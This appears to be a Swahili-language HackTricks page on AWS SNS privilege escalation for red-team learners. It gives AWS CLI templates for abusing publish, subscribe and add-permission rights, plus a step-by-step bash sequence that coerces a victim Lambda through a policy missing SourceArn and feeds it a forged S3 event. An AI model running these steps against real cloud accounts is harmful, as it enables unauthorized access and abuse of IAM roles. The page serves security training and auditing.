AWS - SNS Privesc

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SNS

Kwa maelezo zaidi angalia:

AWS - SNS Enum

sns:Publish

Mshambuliaji anaweza kutuma ujumbe wa hatari au usiotakikana kwenye SNS topic, jambo ambalo linaweza kusababisha uharibifu wa data, kuamsha vitendo visivyotarajiwa, au kumaliza rasilimali.

bash
aws sns publish --topic-arn <value> --message <value>

Potential Impact: Utumiaji wa udhaifu, uharibifu wa data, vitendo visivyokusudiwa, au kusababisha kumalizika kwa rasilimali.

sns:Subscribe

Mshambuliaji anaweza kujisajili kwa SNS topic, akipata kwa hivyo ufikiaji usioidhinishwa wa ujumbe au kuingilia utendaji wa kawaida wa programu zinazotegemea topic hiyo.

bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Athari Inayowezekana: Ufikiaji usioidhinishwa wa ujumbe (taarifa nyeti), kuathiri utoaji wa huduma kwa programu zinazotegemea SNS topic iliyohusika.

sns:AddPermission

Mshambuliaji anaweza kumpa watumiaji au huduma zisizoidhinishwa ufikiaji wa SNS topic, na hivyo kupata ruhusa zaidi.

bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Athari Inayoweza Kutokea: Ufikiaji usioidhinishwa kwa mada, kufichuka kwa ujumbe, au uharibu wa mada na watumiaji au huduma zisizoidhinishwa, kuingiliwa kwa utendakazi wa kawaida wa programu zinazotegemea mada.

Kuitisha Lambda kwa kutumia vibaya ruhusa za wildcard za SNS (hakuna SourceArn)

Ikiwa sera ya rasilimali ya Lambda function inaruhusu sns.amazonaws.com kuitisha bila kuzuia mada ya chanzo (SourceArn), mada yoyote ya SNS (hata kwa akaunti nyingine) inaweza kujisajili na kusababisha function. Mdukuzi mwenye ruhusa za msingi za SNS anaweza kulazimisha Lambda iendeshwe chini ya role yake ya IAM kwa pembejeo inayodhibitiwa na mdukuzi.

tip

TODO: Je, hili linaweza kufanywa kweli kwa akaunti nyingine?

Masharti ya awali

  • Sera ya Lambda ya mwathirika ina taarifa kama ilivyo chini, bila sharti la SourceArn:
json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

Hatua za matumizi mabaya (akaunti ile ile au kati ya akaunti)

bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Athari Inayoweza Kutokea: Lambda ya mwathirika inaendesha kwa IAM role yake, ikichakata input inayodhibitiwa na attacker. Hii inaweza kutumika vibaya kumfanya function ifanye vitendo nyeti (mf., kuandika kwenye S3, kupata secrets, kubadilisha resources) kulingana na permissions zake.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks